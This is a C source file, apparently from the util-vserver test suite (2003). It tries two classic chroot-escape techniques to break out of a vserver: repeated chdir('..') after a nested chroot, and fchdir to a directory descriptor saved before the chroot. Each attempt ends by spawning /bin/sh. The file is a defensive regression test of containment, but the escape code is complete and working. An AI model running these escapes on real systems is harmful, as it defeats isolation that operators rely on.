3 // Copyright (C) 2003 Enrico Scholz <enrico.scholz@informatik.tu-chemnitz.de>
4 // based on tests/escaperoot.cc by Jacques Gelinas
6 // This program is free software; you can redistribute it and/or modify
7 // it under the terms of the GNU General Public License as published by
8 // the Free Software Foundation; either version 2, or (at your option)
11 // This program is distributed in the hope that it will be useful,
12 // but WITHOUT ANY WARRANTY; without even the implied warranty of
13 // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
14 // GNU General Public License for more details.
16 // You should have received a copy of the GNU General Public License
17 // along with this program; if not, write to the Free Software
18 // Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
21 This program tries to escape out of a vserver using chroot flaws.
22 Once escaped, it exec a shell.
24 None of this works on 2.4.13.
35 static void print_pwd()
38 if (getcwd(path,sizeof(path)-1)!=NULL){
39 printf ("PWD: %s\n",path);
43 Just set a chroot in a sub-directory and keep the
44 current directory behind
50 mkdir ("dummy_dir",0755);
51 if (chroot ("dummy_dir")==-1){
52 fprintf (stderr,"Can't chroot into dummy_dir (%s)\n",strerror(errno));
54 // Try to chdir into the real root
55 for (int i=0; i<1000; i++) chdir("..");
57 if (execl ("/bin/sh","/bin/sh",NULL)==-1){
58 fprintf (stderr,"execl /bin/sh failed (%s)\n",strerror(errno));
64 Same as test1, except we open the current directory and do
65 a fchdir() to it before trying to escape to the real root.
71 mkdir ("dummy_dir",0755);
72 int fd = open (".",O_RDONLY);
74 fprintf (stderr,"Can't open current directory (%s)\n",strerror(errno));
75 }else if (chroot ("dummy_dir")==-1){
76 fprintf (stderr,"Can't chroot into dummy_dir (%s)\n",strerror(errno));
77 }else if (fchdir(fd)==-1){
78 fprintf (stderr,"Can't fchdir to the current directory (%s)\n"
81 // Try to chdir into the real root
82 for (int i=0; i<1000; i++) chdir("..");
84 if (execl ("/bin/sh","/bin/sh",NULL)==-1){
85 fprintf (stderr,"execl /bin/sh failed (%s)\n",strerror(errno));
91 Perform the test in a sub-process so it won't affect the current one
93 static void dotest (void (*f)())
100 fprintf (stderr,"Can't fork (%s)\n",strerror(errno));
107 int main (int argc, char *argv[])
111 printf ("All attempts failed\n");